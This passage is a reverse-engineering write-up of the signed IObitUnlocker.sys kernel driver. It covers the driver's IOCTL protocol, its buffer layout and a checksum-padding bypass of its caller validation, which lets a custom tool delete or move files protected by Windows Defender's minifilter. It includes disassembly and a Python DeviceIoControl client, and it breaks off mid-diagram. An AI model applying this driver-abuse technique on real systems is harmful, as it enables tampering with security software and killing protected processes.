---
title: 'ForceIO — Reverse Engineering IObitUnlocker.sys for Minifilter-Bypass File Operations'
url: 'https://kvc.pl/research/forceio-minifilter-bypass'
markdown: 'https://kvc.pl/research/forceio-minifilter-bypass.md'
date: '2026-08-29'
description: 'Full reverse engineering of the IObitUnlocker.sys signed kernel driver (WHCP) — IOCTL protocol extraction, buffer layout correction, caller checksum validation bypass, operation-code correction, and a standalone no-CRT tool (ForceIO) that can delete, copy, and move files and directories protected by WdFilter.sys on Windows 11 28000. Features atomic driver sessions (ephemeral SCM service), LZX-compressed driver payload embedded in the application icon via FDI, and zero-Sleep pure-API lifecycle. Covers IDA Pro static analysis, CDB live disassembly, PE import table reconstruction, and build-time binary patching.'
---

[ Download ForceIO.7z](https://kvc.pl/research/forceio-minifilter-bypass/ForceIO.7z) [ Download Source Code](https://kvc.pl/research/forceio-minifilter-bypass/ForceIO_source_code.zip) [ Source on GitHub](https://github.com/wesmar/ForceIO)

**Author:** Marek Wesołowski (WESMAR)
**Date:** 25 June 2026
**Target:** Windows 11 Pro 26H1, build 28000, fully patched
**Driver:** `IObitUnlocker.sys` v1.3.0.10, signed by Microsoft Windows Hardware Compatibility Publisher (2022-08-17)

> **PL:** Pełny reverse engineering sterownika IObitUnlocker.sys — odzyskanie protokołu IOCTL, złamanie walidacji checksum callera, korekta błędnie rozpoznanych kodów operacji i budowa standalone narzędzia ForceIO (czyste C, bez CRT) do usuwania oraz przenoszenia plików i katalogów chronionych przez minifiltr WdFilter.sys na Windows 11 28000. Write-up dokumentuje cały proces łącznie ze ślepymi uliczkami.
> 
> **EN:** Full reverse engineering of the IObitUnlocker.sys WHCP-signed kernel driver — IOCTL protocol extraction, buffer layout correction, caller checksum validation bypass, operation-code correction, and a standalone no-CRT tool (ForceIO) for deleting, copying, and moving files and directories protected by the WdFilter.sys minifilter on Windows 11 28000. This writeup documents the entire process including dead ends.

---

## Abstract

This document records the full reverse engineering of the `IObitUnlocker.sys` kernel driver — from the initial discovery of its minifilter-bypass capability, through several wrong turns in the IOCTL protocol, to the construction of a standalone tool called **ForceIO** that can delete, copy, and move files or directories protected by `WdFilter.sys` on a live, fully patched Windows 11 system.

### A note on terminology

In the security literature, "BYOVD" (Bring Your Own Vulnerable Driver) typically refers to drivers with memory safety vulnerabilities — arbitrary read/write primitives exploitable from user mode. `IObitUnlocker.sys` is not vulnerable in that sense. It is an **overpowered signed driver**: it exposes legitimate but excessively powerful kernel-mode file operations through a weakly guarded IOCTL interface. The distinction matters — this driver does not appear on the [Microsoft Vulnerable Driver Blocklist](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) or in the [LOLDrivers](https://www.loldrivers.io/) project (June 2026). It loads normally on systems with HVCI and Driver Signature Enforcement enabled. I use "BYOVD" loosely because the exploitation pattern — loading a signed third-party driver to gain kernel capabilities — follows the same ATT&CK technique (T1068).
A more precise term might be BYOPD — Bring Your Own Overpowered Driver — describing signed drivers that are not exploitable in the memory-safety sense, but expose excessively powerful kernel primitives through a weakly guarded interface.

The investigation established six results:

1. **The IOCTL protocol.** The driver exposes exactly two IOCTL codes (`0x222124` for file operations, `0x222128` for handle queries) through a 0x428-byte `METHOD_BUFFERED` buffer. The buffer layout documented in my initial analysis was incorrect — the corrected layout places `SourcePath` at offset `+0x000`, `DestPath` at `+0x210`, `OperationType` at `+0x420`, and `Flags` at `+0x424`.
2. **The anti-BYOVD validation.** The driver reads the calling process's entire executable image from disk via `ZwQueryInformationProcess(ProcessImageFileName)` → `ZwCreateFile` → `ZwReadFile`, and computes two checksums: a byte-wise XOR (`== 0x2B`) and an alternating add/subtract accumulator (`== 0x00A88677`). If either check fails, the driver returns `STATUS_INVALID_PARAMETER` (`0xC000000D`) without processing the IOCTL. This validation exists at `IObitUnlocker.sys+0x3DC7`.
3. **The bypass.** Appending correction bytes to the compiled executable satisfies both checksum constraints without modifying the driver binary. The driver's Microsoft WHCP signature remains valid. The build script (`build.ps1`) automates the computation and patching.
4. **The real operation map.** The final mapping is not what the first DLL pass suggested: `OperationType=1` deletes, `2` is a flawed raw-IRP rename path, `3` performs a driver-side move/cut (copy plus source delete), and `4` performs copy without deleting the source. This distinction was the key to making directory move work.
5. **The capabilities.** The driver provides kernel-mode file delete, move/cut, copy, directory recursion, process termination (`ZwTerminateProcess`), and foreign handle closure (`ZwDuplicateObject` with `DUPLICATE_CLOSE_SOURCE`). The operations are exposed through a weakly guarded IOCTL interface and can bypass protection that blocks normal user-mode file APIs.
6. **The tool.** ForceIO is a standalone PE32 executable compiled with `/NODEFAULTLIB` (no C runtime), using only `kernel32`, `advapi32`, and `cabinet` imports. The signed driver binary is LZX-compressed into a CAB archive appended to the application icon — at runtime, FDI decompresses it in memory and writes it to `%SystemRoot%\forceio.dat`. Each file operation runs a fully atomic driver session: create SCM service → start → execute IOCTL → stop → delete service → remove driver file. The service never persists in the registry between operations. No IObit DLL, no IObit EXE, no bloatware.

I'm writing this in chronological order, including the dead ends, because the failures are as instructive as the successes — each one revealed a constraint that shaped the final design.

---

## 1. Motivation

On the [MyDigitalLife forum](https://forums.mydigitallife.net/threads/cmdt-ultra-lightweight-run-as-trustedinstaller-pure-x64-x86-assembly.90096/page-4), user **adric** reported that `cmdt.exe` (my TrustedInstaller elevation tool) cannot delete Windows Defender log files:

```
C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service>cmdt_x64.exe -cli del *.log
```

Result: **Access denied.** TrustedInstaller elevation does not help because the restriction is enforced in the kernel, not by ACL or token checks. The file in question — `Unknown.Log` — is protected by `WdFilter.sys`, the Windows Defender minifilter driver, which intercepts I/O requests at a Filter Manager altitude above the file system.

I had been maintaining the `kvcstrm` custom driver for god-mode kernel primitives, but it is unsigned. I wanted a signed alternative for situations where my own driver infrastructure is unavailable. The IObit Unlocker program ships a free, WHCP-signed driver (`IObitUnlocker.sys`) that performs exactly this class of operation — force-deleting locked and protected files from kernel mode. The question was whether I could extract the driver protocol and build a standalone tool that uses only the `.sys` file, without any IObit usermode binaries.

### 1.1 Why not just use the IObit GUI?

The official IObit installer is frequently criticized for bundling potentially unwanted programs (PUPs). It relies on pre-checked, easy-to-miss checkboxes that can silently install third-party utilities like VPNs or screen recorders if you do not carefully opt out. Once deployed, the standard setup registers browser extensions, context menu integrations, an auto-updater service, and telemetry infrastructure that phones home. For my use case — a surgical file deletion from an admin command prompt — I wanted a clean, standalone solution that avoids bundled software and speaks to the driver directly.

### 1.2 The BYOVD approach

The strategy:

1. Extract the signed `.sys` driver from the IObit installation.
2. Reverse-engineer the IOCTL protocol.
3. Write a standalone client that loads the driver via `sc create` / `sc start` and sends the appropriate `DeviceIoControl` call.
4. Delete the target file.

The driver retains its original Microsoft signature. No driver modification needed. The usermode tool is our own code — no IObit dependency.

flowchart LR A[user-mode app
e.g. Remove-Item] -->|CreateFileW / NtSetInformationFile| B(I/O Manager) B --> C{WdFilter.sys
minifilter callback} C -->|protected path| D[ACCESS DENIED] C -->|normal path| E[NTFS completes I/O] F[ForceIO.exe] -->|DeviceIoControl
IOCTL 0x222124| G(IObitUnlocker.sys) G -->|ZwCreateFile + ZwSetInformationFile
kernel-mode, below minifilter| H[NTFS completes I/O] style D fill:#f66,stroke:#333,color:#fff style H fill:#6f6,stroke:#333,color:#000 

---

## 2. Test Environment

| Item | Value |
|---|---|
| OS | Windows 11 Pro 26H1, build 28000, fully patched |
| Driver | `IObitUnlocker.sys` v1.3.0.10 (x64, AMD64) |
| PDB path | `d:\worker\huoqi\zhanghaitaosvn\project\driver\other\iobitunlocker\unlocker\driver\bin\Win7\amd64\IObitUnlocker.pdb` |
| Driver SHA256 | (from PDB header — original development path reveals Chinese origin) |
| Certificate | Microsoft Windows Hardware Compatibility Publisher, 2022-08-17 |
| DLL | `IObitUnlocker.dll` (32-bit, PE32, Visual C++) |
| EXE | `IObitUnlocker.exe` (32-bit, GUI) |
| Tools | IDA Pro 9.1, CDB (Windows SDK 10.0.28000), Visual Studio 2026 Enterprise, Python 3.x, NASM |

---

## 3. Phase 1 — Initial Static Analysis of the DLL

I began with the usermode DLL rather than the kernel driver, because the DLL is the natural starting point — it contains the CreateFileW and DeviceIoControl calls that define the communication protocol from the client side.

### 3.1 Exported functions

IDA disassembly of `IObitUnlocker.dll` revealed six exports:

| Export | Purpose |
|---|---|
| `DriverStart` | Install SCM service, start driver, open device handle |
| `DriverStop` | Stop SCM service |
| `DriverUninstall` | Remove SCM service |
| `DriverDumpInfo` | Query handle owners (IOCTL `0x222128`) |
| `DriverUnlockFile` | File operations (IOCTL `0x222124`) |
| `DriverEndSelf` | Close IObit Unlocker window via `EnumWindows` + `WM_CLOSE` |

### 3.2 Device identification

```
push    offset FileName ; "\\\\.\\IObitUnlockerDevice"
call    ds:CreateFileW
```

The DLL opens the device with `dwDesiredAccess = 0xC0100000` (`GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE`), `dwShareMode = 3` (`FILE_SHARE_READ | FILE_SHARE_WRITE`), `dwCreationDisposition = OPEN_EXISTING`.

### 3.3 IOCTL codes

Two IOCTL codes, both `METHOD_BUFFERED`, `FILE_ANY_ACCESS`:

```c
#define IOCTL_ULK_OPERATION     CTL_CODE(0x22, 0x849, METHOD_BUFFERED, FILE_ANY_ACCESS)  // = 0x00222124
#define IOCTL_ULK_QUERY_HANDLES CTL_CODE(0x22, 0x84A, METHOD_BUFFERED, FILE_ANY_ACCESS)  // = 0x00222128
```

Both use `nInBufferSize = 0x428` (1064 bytes).

### 3.4 Tracing the buffer construction

In `sub_10001BF0` (called by `DriverUnlockFile`), the buffer is allocated and filled:

```asm
push    428h            ; Size
call    ??2@YAPAXI@Z    ; operator new(0x428)
mov     esi, eax        ; esi = buffer base

; Zero entire buffer
push    428h
push    0
push    esi
call    _memset

; Set operation type and flags — AFTER zeroing
mov     eax, [ebp+BytesReturned]  ; actually the operation type parameter
or      edi, 3                     ; flags |= 3
mov     [esi+420h], eax           ; buffer[0x420] = operation type
mov     [esi+424h], edi           ; buffer[0x424] = flags | 3

; Copy source path to buffer START (offset 0!)
push    eax             ; size (max 0x210)
push    ebx             ; source path string
push    esi             ; buffer base ← offset 0x000, NOT 0x010!
call    _memcpy
```

And for the destination path (rename/copy operations):

```asm
lea     ebx, [esi+210h]    ; dest path at buffer + 0x210
push    edi                 ; source (dest path string)
push    ebx                 ; buffer + 0x210
call    _memcpy
```

### 3.5 The buffer layout

```c
// CORRECT — from DLL disassembly
typedef struct _ULK_BUFFER {
    WCHAR   SourcePath[264];    // +0x000 (0x210 bytes, null-terminated)
    WCHAR   DestPath[264];      // +0x210 (0x210 bytes)
    ULONG   OperationType;      // +0x420
    ULONG   Flags;              // +0x424 (DLL always ORs with 0x3)
} ULK_BUFFER;                   // Total: 0x428 (1064 bytes)
```

The path fields occupy 264 WCHARs each (528 bytes), not 260. The operation type is at `+0x420`, not `+0x000`. The `Source` string constant in the DLL data section turned out to be simply `L"\\"` — a single backslash used for path normalization when the input is a bare drive letter like `C:`.

### 3.6 Operation type codes — first pass and final correction

From the DLL's normalisation logic, operations 3 and 4 looked at first like "copy file" and "copy directory". That was only half-true. The final driver-side behaviour is:

| Code | Operation | Needs DestPath |
|---|---|---|
| 1 | Delete | No |
| 2 | Raw rename | Yes |
| 3 | Move / cut | Yes |
| 4 | Copy | Yes |

The important correction is `3` vs `4`: `OperationType=3` is not a pure copy. It copies data through the driver and deletes the source afterwards. `OperationType=4` is the true copy path and leaves the source intact.

This mistake mattered. A naive rename fallback implemented as "`copy` then `delete`" produced `ERROR_DIR_NOT_EMPTY` (`145`) on a protected Defender directory because the user-mode enumeration path could not see or remove everything. Switching the fallback to the driver's own `OperationType=3` made the directory move succeed.

---

## 4. Phase 2 — Driver Kernel Imports and Capabilities

The driver's PE import table (single import from `ntoskrnl.exe`) reveals the full capability set. I reconstructed the Import Address Table by parsing the PE Import Directory at RVA `0xA084` using CDB:

```
cdb -z IObitUnlocker.sys -c "da IObitUnlocker+<hint_rva>; q"
```

### 4.1 Full IAT mapping

| IAT offset | Function | Category |
|---|---|---|
| `+0x7000` | `ExAllocatePoolWithTag` | Memory |
| `+0x7010` | `ExFreePoolWithTag` | Memory |
| `+0x7018` | `IoDeleteDevice` | Device lifecycle |
| `+0x7020` | `IofCompleteRequest` | IRP completion |
| `+0x7028` | `IoCreateSymbolicLink` | Device lifecycle |
| `+0x7030` | `IoCreateDevice` | Device lifecycle |
| `+0x7038` | `_wcsnicmp` | String |
| `+0x7040` | `ZwReadFile` | File I/O |
| `+0x7048` | `IoGetRelatedDeviceObject` | **IRP routing** |
| `+0x7050` | `MmGetSystemRoutineAddress` | Dynamic import |
| `+0x7058` | `KeInitializeEvent` | Synchronization |
| `+0x7060` | `ExInterlockedPopEntryList` | Interlocked list |
| `+0x7068` | `KeDelayExecutionThread` | Retry delay |
| `+0x7070` | `IoFileObjectType` | Object type for ObRef |
| `+0x7078` | `ZwWaitForSingleObject` | Synchronization |
| `+0x7080` | `ZwCreateFile` | File open |
| `+0x7088` | `ExAllocatePool` | Memory (legacy) |
| `+0x7090` | `IoGetCurrentProcess` | Process context |
| `+0x7098` | `ZwClose` | Handle close |
| `+0x70A0` | `ObReferenceObjectByHandle` | Handle → object |
| `+0x70A8` | `KeWaitForSingleObject` | Synchronization |
| `+0x70B0` | `RtlCompareUnicodeString` | String |
| `+0x70B8` | `IoAllocateIrp` | **Raw IRP construction** |
| `+0x70C0` | `ObfDereferenceObject` | Object deref |
| `+0x70C8` | `ZwQueryInformationFile` | File info |
| `+0x70D0` | `ZwWriteFile` | File I/O (copy) |
| `+0x70D8` | `ObOpenObjectByPointer` | Object → handle |
| `+0x70E0` | `DbgPrint` | Debug logging |
| `+0x70E8` | `IofCallDriver` | **Direct IRP dispatch** |
| `+0x70F0` | `_wcsicmp` | String |
| `+0x70F8` | `PsGetProcessPeb` | Process info |
| `+0x7100` | `PsLookupProcessByProcessId` | PID → EPROCESS |
| `+0x7108` | `RtlInitUnicodeString` | String |
| `+0x7110` | `KeSetEvent` | Synchronization |
| `+0x7118` | `RtlAppendUnicodeToString` | String |
| `+0x7120` | `IoCreateFile` | File open (kernel) |
| `+0x7128` | `ZwQuerySystemInformation` | System queries |
| `+0x7130` | `KeUnstackDetachProcess` | Process context |
| `+0x7138` | `ObQueryNameString` | Object name |
| `+0x7140` | `wcsrchr` | String |
| `+0x7148` | `ZwQueryDirectoryFile` | Directory enum |
| `+0x7150` | `_vsnwprintf` | Formatting |
| `+0x7158` | `RtlAppendUnicodeStringToString` | String |
| `+0x7160` | `ZwDuplicateObject` | **Handle duplication** |
| `+0x7168` | `IoFreeIrp` | IRP cleanup |
| `+0x7170` | `ZwOpenProcess` | Process open |
| `+0x7178` | `PsGetCurrentProcessId` | Current PID |
| `+0x7180` | `MmIsAddressValid` | Pointer validation |
| `+0x7188` | `ZwTerminateProcess` | **Process kill** |
| `+0x7190` | `ExInterlockedPushEntryList` | Interlocked list |
| `+0x7198` | `KeStackAttachProcess` | Process context attach |
| `+0x71A0` | `KeBugCheckEx` | Blue screen (critical) |

### 4.2 Key capabilities

The import table reveals seven distinct kernel primitives:

1. **Force-delete** — `ZwCreateFile(DELETE)` → `ZwSetInformationFile(FileDispositionInformation)` → `ZwClose`. The file is marked for delete-on-close. If a `SHARING_VIOLATION` occurs, the driver retries with `KeDelayExecutionThread`.
2. **Raw rename** — hand-built `IRP_MJ_SET_INFORMATION` with `FileRenameInformation`. This path exists but is not reliable for normal Win32 destination paths; it returned `ERROR_INVALID_NAME` in practical testing.
3. **Force-move / cut** — driver-side copy followed by driver-side deletion of the source. This is the operation that made protected directory rename/move usable.
4. **Force-copy** — `ZwCreateFile(GENERIC_READ)` source → `ZwCreateFile(GENERIC_WRITE)` destination → `ZwReadFile`/`ZwWriteFile` loop. This leaves the source intact.
5. **Directory recursion** — `ZwQueryDirectoryFile` with `FileDirectoryInformation`, skip `.`, `..`, and `$Extend\$RmMetadata\$TxfLog` (NTFS transaction log).
6. **Process termination** — `PsLookupProcessByProcessId` → `ZwTerminateProcess`. Protected process list: `System`, `csrss.exe`, `lsass.exe`, `lsm.exe`, `smss.exe`, `wininit.exe`, `winlogon.exe`, `userinit.exe`, `explorer.exe`, `IObitUnlocker.exe`.
7. **Foreign handle closure** — `ZwOpenProcess(PROCESS_DUP_HANDLE)` → `ZwDuplicateObject` with `DUPLICATE_CLOSE_SOURCE`. This closes a file handle held by another process without killing it.
8. **Raw IRP construction** — `IoAllocateIrp` + `IoGetRelatedDeviceObject` + `IofCallDriver`. This is the mechanism used by the rename path and explains why its semantics differ from the higher-level `ZwSetInformationFile` path.

### 4.3 Dynamically resolved import

The driver uses `MmGetSystemRoutineAddress` in `DriverEntry` to resolve `ZwQueryInformationProcess`, storing the function pointer at `.data+0x8150`. This avoids declaring the import in the PE import table (possibly for compatibility with older Windows versions where the export may not exist).

### 4.4 Driver logging

The driver writes operational logs to `\Device\HarddiskVolume1\unlocker.log` (or `\SystemRoot\unlocker.log` as fallback):

```
ULKDeleteFile: 0x%08x, %wZ
ULKDeleteDirectoryItSelf: 0x%08x, %wZ
ULKRenameFile: 0x%08x
ULKCopyFile: 0x%08x, %wZ, %wZ
create file 0x%08x, %wZ
process name: %ws
ZwTerminateProcess: 0x%08x
ZwDuplicateObject: ProcessID: %I64u, 0x%08x
```

---

## 5. Phase 3 — First Attempt: Direct DeviceIoControl from Python

Armed with the corrected buffer layout from Phase 1, I wrote a Python client using `ctypes` to call `DeviceIoControl` directly. The approach seemed straightforward:

```python
h = kernel32.CreateFileW(r"\\.\IObitUnlockerDevice", 0xC0000000, 3, None, 3, 0, None)

buf = bytearray(0x428)
path = r"C:\Temp\test.txt"
buf[0:len(path.encode('utf-16-le'))] = path.encode('utf-16-le')
struct.pack_into('<I', buf, 0x420, 1)  # OP_DELETE
struct.pack_into('<I', buf, 0x424, 3)  # Flags

kernel32.DeviceIoControl(h, 0x222124, in_buf, 0x428, out_buf, 4, byref(ret), None)
```

### 5.1 Result: STATUS\_INVALID\_PARAMETER

Every single IOCTL call returned error 87 (`ERROR_INVALID_PARAMETER`), which maps to `NTSTATUS 0xC000000D`. Both IOCTL codes failed. Different buffer sizes, content variations, output buffer sizes — all returned the same error.

I confirmed the exact NTSTATUS by calling `NtDeviceIoControlFile` from `ntdll.dll`:

```python
ntdll.NtDeviceIoControlFile(h, None, None, None, byref(iosb),
    0x222124, byref(in_arr), 0x428, byref(out_arr), 4)
# → NTSTATUS = 0xC000000D
```

The device handle opened successfully (handle value 452 — a valid kernel object). The failure was in the IOCTL dispatch, not the device open.

### 5.2 Hypothesis: 64-bit vs 32-bit mismatch

The DLL is 32-bit (PE32). My Python was 64-bit. Could WOW64 cause buffer marshaling issues? For `METHOD_BUFFERED`, the I/O manager copies the buffer byte-for-byte regardless of caller bitness. This hypothesis was incorrect.

### 5.3 Hypothesis: process name validation

I renamed `python.exe` to `IObitUnlocker.exe` and ran the test again. Same error. The driver was not simply checking the process name.

---

## 6. Phase 4 — Driver Disassembly: The IOCTL Handler

Since the DLL-side protocol was correct but the driver rejected every call, I needed to disassemble the driver's IOCTL handler. Without symbols (PDB unavailable), I used CDB in offline mode:

```
cdb -z IObitUnlocker.sys -c "u IObitUnlocker+0x10d4 L60; q"
```

### 6.1 DriverEntry dispatch table

`DriverEntry` (at `+0xA064`) jumps to `+0x10d4` after calling a runtime initialization stub at `+0xA008`. The dispatch table setup:

```asm
; rdi = DriverObject
mov     qword ptr [rdi+68h], rax    ; DriverUnload         = +0x123C
lea     rax, [IObitUnlocker+0x12b4]
mov     qword ptr [rdi+0E0h], rax   ; MajorFunction[14]    = +0x12B4  (IRP_MJ_DEVICE_CONTROL)
lea     rax, [IObitUnlocker+0x128c]
mov     qword ptr [rdi+70h], rax    ; MajorFunction[0]     = +0x128C  (IRP_MJ_CREATE)
mov     qword ptr [rdi+80h], rax    ; MajorFunction[2]     = +0x128C  (IRP_MJ_CLOSE — same handler)
```

### 6.2 IOCTL dispatch at +0x12B4

The handler reads the `IO_STACK_LOCATION`:

```asm
mov     rax, [rdx+0B8h]           ; Irp->Tail.Overlay.CurrentStackLocation
mov     ecx, [rax+18h]            ; Parameters.DeviceIoControl.IoControlCode
mov     r13d, [rax+8]             ; Parameters.DeviceIoControl.OutputBufferLength
```

Default status is set to `STATUS_INVALID_PARAMETER`:

```asm
mov     r15d, 0C000000Dh          ; STATUS_INVALID_PARAMETER
mov     [rdx+30h], r15d           ; Irp->IoStatus.Status = 0xC000000D
```

IRQL check (must be PASSIVE\_LEVEL for usermode IOCTL dispatch):

```asm
mov     rax, cr8                  ; read IRQL from CR8
cmp     al, bl                    ; bl = 0 (PASSIVE_LEVEL)
jne     completion                ; fail if not PASSIVE
```

IOCTL routing:

```asm
sub     ecx, 222124h              ; check first code
je      operation_handler         ; → +0x14A7
cmp     ecx, 4                    ; 0x222128 - 0x222124 = 4
jne     completion                ; anything else → fail
; fall through to query handler
```

### 6.3 Buffer access from SystemBuffer

Both handlers read the buffer from `Irp->AssociatedIrp.SystemBuffer` at `[rdi+18h]`:

```asm
; Operation handler (+0x14A7):
mov     r12, [rdi+18h]             ; r12 = SystemBuffer
mov     r13d, [r12+420h]           ; OperationType at +0x420
mov     r14d, [r12+424h]           ; Flags at +0x424
```

This confirmed the DLL-side buffer layout from Phase 1 was correct. The driver reads `OperationType` from `+0x420` and `Flags` from `+0x424`. The source path starts at `+0x000`.

### 6.4 The validation gate

Both IOCTL handlers call a validation function at `+0x3CB0` before accessing the buffer:

```asm
call    IObitUnlocker+0x3cb0       ; validation
cmp     eax, ebx                   ; check NTSTATUS >= 0
jl      completion                 ; fail → default STATUS_INVALID_PARAMETER
```

If validation returns a negative NTSTATUS, the IOCTL handler bails immediately. This is where my Python calls were dying.

### 6.5 The operation switch

After validation, the file-operation handler dispatches on `OperationType` at buffer offset `+0x420`:

```asm
sub     r8d, 1
je      delete_path             ; OperationType = 1
sub     r8d, 1
je      raw_rename_path         ; OperationType = 2
sub     r8d, 1
je      move_cut_path           ; OperationType = 3
cmp     r8d, 1
je      copy_path               ; OperationType = 4
```

The first implementation of ForceIO treated `OperationType=3` as copy because the DLL-side code looked like a copy helper and because the driver imports `ZwReadFile` / `ZwWriteFile`. That was wrong. A direct test showed the source disappears after `OperationType=3`; therefore it is a move/cut operation. `OperationType=4` is the true copy operation.

### 6.6 The rename trap

The raw rename path (`OperationType=2`) opens the source and manually builds an `IRP_MJ_SET_INFORMATION` request containing `FILE_RENAME_INFORMATION`. It then calls `IofCallDriver` directly. That is clever, but it misses part of what the I/O Manager normally does for `ZwSetInformationFile`: resolving the target directory and setting up the file object context expected by the filesystem.

The symptom was consistent:

```
ForceIO.exe rename C:\...\aaa.txt C:\...\bbb.txt
[-] Failed, error=123 (0x0000007B)    ; ERROR_INVALID_NAME
```

Changing the destination format did not fix it. I tried normal Win32 paths, `\??\C:\...`, volume-relative paths, and full NT device paths. The reliable solution was not to force `OperationType=2`; it was to keep it as a first attempt and fall back to the driver's own `OperationType=3` move/cut path.

---

## 7. Phase 5 — The Anti-BYOVD Validation

This was the core of the investigation. The validation function at `+0x3CB0` implements a caller-verification mechanism designed to prevent third-party tools from using the driver.

flowchart TD A[IOCTL received] --> B[IoGetCurrentProcess] B --> C[ZwQueryInformationProcess
ProcessImageFileName = 27] C --> D[ZwCreateFile
open caller's EXE on disk] D --> E[ZwReadFile
read entire EXE into pool] E --> F[Compute XOR checksum
byte-wise XOR of all bytes] E --> G[Compute ALT checksum
alternating add/sub] F --> H{XOR == 0x2B?} G --> I{ALT == 0x00A88677?} H -->|no| J[STATUS_UNSUCCESSFUL
0xC0000001] I -->|no| J H -->|yes| I I -->|yes| K[STATUS_SUCCESS
proceed to IOCTL handler] style J fill:#f66,stroke:#333,color:#fff style K fill:#6f6,stroke:#333,color:#000 

### 7.1 Step 1: Get caller's process image path

```asm
call    qword ptr [+0x7090]         ; IoGetCurrentProcess() → EPROCESS

; Check if ZwQueryInformationProcess was resolved
cmp     qword ptr [+0x8150], rsi    ; NULL check
je      skip_process_check

; Open the process to get a handle
mov     rcx, rax                    ; Object = EPROCESS
mov     edx, 200h                   ; HandleAttributes = OBJ_KERNEL_HANDLE
call    qword ptr [+0x70D8]         ; ObOpenObjectByPointer(EPROCESS, ...)
```

### 7.2 Step 2: Query process image filename

The inner function at `+0x3A14` calls the dynamically-resolved `ZwQueryInformationProcess`:

```asm
lea     edx, [r9+1Bh]              ; ProcessInformationClass = 27 = ProcessImageFileName
mov     rcx, rsi                    ; ProcessHandle
call    rax                         ; ZwQueryInformationProcess(handle, 27, NULL, 0, &needed)
cmp     eax, 0C0000004h            ; STATUS_INFO_LENGTH_MISMATCH → got required size
```

After determining the required buffer size, it allocates pool with tag `'NELR'`, calls `ZwQueryInformationProcess` again to get the full path (e.g., `\Device\HarddiskVolume3\Projekty\ForceIO\bin\ForceIO.exe`), and copies it to the output buffer.

### 7.3 Step 3: Open and read the caller's executable

Function `+0x3AF0` receives the process image path as a `UNICODE_STRING` and:

1. Calls `ZwCreateFile` with `DesiredAccess = GENERIC_READ`, `CreateOptions = FILE_NON_DIRECTORY_FILE`.
2. Calls `ZwQueryInformationFile(FileStandardInformation)` to get the file size.
3. If size > 3 MB, handles it differently (truncation or skip).
4. Allocates a pool buffer of the file's `EndOfFile` size with tag `'NELR'`.
5. Calls `ZwReadFile` to read the entire executable into kernel memory.

### 7.4 Step 4: Compute two checksums

The driver computes two checksums over the raw bytes of the executable image:

**Checksum 1 — XOR accumulator:**

```asm
; rdi = file buffer, r8 = file size, esi = 0 (initial)
xor_loop:
    movzx   eax, byte ptr [rcx]
    inc     r11d
    inc     rcx
    xor     esi, eax              ; esi ^= byte
    cmp     rax, r8
    jb      xor_loop
mov     [rbp], esi                ; store result
```

**Checksum 2 — alternating add/subtract:**

```asm
; edx = 0 (index), ebx = 0 (initial)
alt_loop:
    movzx   eax, byte ptr [rcx]
    test    dl, 1                 ; index & 1?
    jne     subtract
    add     ebx, eax              ; even index: accumulator += byte
    jmp     next
subtract:
    sub     ebx, eax              ; odd index: accumulator -= byte
next:
    inc     edx
    inc     rcx
    cmp     rax, r8
    jb      alt_loop
mov     [r12], ebx                ; store result
```

### 7.5 Step 5: The hardcoded comparison

This is the money shot, at `+0x3DC7`:

```asm
cmp     dword ptr [rsp+70h], 2Bh            ; XOR checksum == 0x2B?
jne     fail                                 ; → return STATUS_UNSUCCESSFUL
cmp     dword ptr [rsp+78h], 0A88677h        ; ALT checksum == 0x00A88677?
jne     fail                                 ; → return STATUS_UNSUCCESSFUL
xor     eax, eax                             ; return STATUS_SUCCESS
jmp     return

fail:
mov     eax, 0C0000001h                      ; STATUS_UNSUCCESSFUL
```

**The driver hardcodes two magic constants: `0x2B` and `0x00A88677`.** These are the XOR and alternating checksums of the original `IObitUnlocker.exe` binary (2,699,584 bytes). Any calling process whose executable does not produce these exact values is rejected.

### 7.6 Verification

```python
def checksums(data):
    xor_s, alt_s = 0, 0
    for i, b in enumerate(data):
        xor_s ^= b
        alt_s += b if i % 2 == 0 else -b
    return xor_s & 0xFF, alt_s & 0xFFFFFFFF

with open('IObitUnlocker.exe', 'rb') as f:
    data = f.read()
print(checksums(data))  # → (0x2B, 0x00A88677) ✓
```

---

## 8. Phase 6 — Failed Bypass Attempts

Before finding the checksum solution, I tried several approaches that failed. Each failure is documented because they illuminate the validation mechanism.

### 8.1 Attempt: Rename Python to IObitUnlocker.exe

I copied `python.exe` to `C:\Temp\IObitUnlocker.exe` and ran the test script:

```
C:\Temp\IObitUnlocker.exe test_ioctl.py
→ ERROR 87 (STATUS_INVALID_PARAMETER)
```

**Why it failed:** The driver does not check the *filename* — it reads the *file content* and computes checksums. A differently-compiled binary with the same name fails.

### 8.2 Attempt: 32-bit DLL wrapper (ulk\_client.exe)

I compiled a 32-bit C program using Visual Studio that loads `IObitUnlocker.dll` and calls `DriverUnlockFile` directly:

```c
HMODULE hDll = LoadLibraryW(L"IObitUnlocker.dll");
pfnDriverStart pStart = (pfnDriverStart)GetProcAddress(hDll, "DriverStart");
pStart();  // returns 1 (success)
pUnlock(path, NULL, 1, 0, &result);  // returns 87!
```

`DriverStart` succeeded (returned 1, device handle opened). But `DriverUnlockFile` returned error 87.

**Why it failed:** The DLL calls `DeviceIoControl` from within our process context. The driver's `IoGetCurrentProcess()` returns *our* process (ulk\_client.exe), not IObitUnlocker.exe. The driver reads `ulk_client.exe` from disk, computes its checksums, and rejects it.

### 8.3 Attempt: 32-bit PowerShell + C# interop

Considered using `C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` with `Add-Type` to compile inline C# that P/Invokes the DLL. Abandoned this path when I realized the same caller-validation issue would apply regardless of which language makes the `DeviceIoControl` call.

### 8.4 Attempt: DLL injection into IObitUnlocker.exe

The idea: start the real `IObitUnlocker.exe`, inject our code via `CreateRemoteThread`, and have it call `DriverUnlockFile` from within the legitimate process context. This would work — the driver reads `IObitUnlocker.exe` from disk and the checksums match.

I did not pursue this because I found a simpler solution: the checksum bypass.

---

## 9. Phase 7 — The Checksum Bypass

The insight was that the checksums are simple linear functions over the byte stream. Appending additional bytes to the executable changes both checksums in a predictable way. Since the PE loader ignores data after the last PE section, appended bytes do not affect execution.

flowchart LR A[MSBuild
ForceIO.vcxproj] --> B[ForceIO.exe
~64 KB] B --> C[Compute checksums
XOR=0x77, ALT=0xFFFFA967] C --> D[Calculate delta
Δ_ALT ≈ 11M] D --> E["Append ~43K pairs
[0xFF, 0x00]"] E --> F["Append 4 correction bytes
[b0, b1, b2, b3]"] F --> G[Verify
XOR=0x2B ✓
ALT=0x00A88677 ✓] G --> H[ForceIO.exe
